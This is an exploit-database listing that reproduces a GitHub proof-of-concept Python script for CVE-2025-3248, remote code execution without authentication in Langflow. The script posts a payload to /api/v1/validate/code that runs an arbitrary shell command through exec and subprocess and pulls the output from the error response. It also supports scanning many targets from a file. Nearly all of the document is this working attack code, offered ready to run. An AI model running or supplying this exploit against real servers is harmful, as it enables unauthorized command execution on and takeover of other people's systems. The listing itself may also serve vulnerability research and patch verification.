Exploit database

GH-d158dcb6eab7981a69ce8b38b580f38e

zapstiko/cve-2025-3248

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-3248

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
zapstiko/cve-2025-3248Revision 2dc95fd701af

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-3248.py

Python · 4,211 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# mitsec Exploit for CVE-2025-3248
# Remote & unauthenticated RCE via Langflow API
# Author: @zapstiko (Twitter, GitHub, Linkedin)
# GitHub: https://github.com/zapstiko

import argparse
import requests
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

requests.packages.urllib3.disable_warnings()
init(autoreset=True)

COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]

def banner():
    color = random.choice(COLORS)
    print(f"""{Style.BRIGHT}{color}
 __  __ _ _
|  \/  (_) |_ ___
| |\/| | | __/ _ \\
| |  | | | || (_) |
|_|  |_|_|\\__\\___/      mitsec

╔════════════════════════════════════════════════════════╗
║ Exploit Title: Langflow Remote Code Execution (RCE)   ║
║ CVE ID       : {Fore.RED + Style.BRIGHT}CVE-2025-3248{color + Style.BRIGHT}                         ║
║ Author       : zapstiko                                 ║
║ GitHub       : https://github.com/zapstiko              ║
╚════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")

class LangflowExploit:
    def __init__(self, url, proxy=None, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (mitsec)',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

        if proxy:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }

    def execute(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[•] Sending exploit to: {endpoint}")
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP Status: {response.status_code}")

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if error_msg.startswith("b'"):
                        return error_msg[2:-1].encode().decode('unicode_escape').strip()
                except Exception as parse_err:
                    return f"[!] JSON parse error: {parse_err}"
            return f"[!] Exploit failed: HTTP {response.status_code}"
        except requests.RequestException as req_err:
            return f"[!] Request failed: {req_err}"

def main():
    banner()

    parser = argparse.ArgumentParser(description="mitsec | CVE-2025-3248 Langflow RCE Exploit")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://host:port)")
    parser.add_argument("-i", "--input", help="File containing list of target URLs")
    parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g., id, whoami)")
    parser.add_argument("-p", "--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080 for Burp Suite)")
    args = parser.parse_args()

    targets = []

    if args.input:
        try:
            with open(args.input, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"{Fore.RED}[!] Failed to read input file: {e}")
            return
    elif args.url:
        targets = [args.url]
    else:
        print(f"{Fore.RED}[!] Please specify either --url or --input.")
        return

    for target in targets:
        print(f"{Fore.CYAN}\n[>] Target: {target}")
        exploit = LangflowExploit(target, proxy=args.proxy)
        output = exploit.execute(args.cmd)
        print(f"{Fore.GREEN}[+] Command Output:\n{output}")

if __name__ == "__main__":
    main()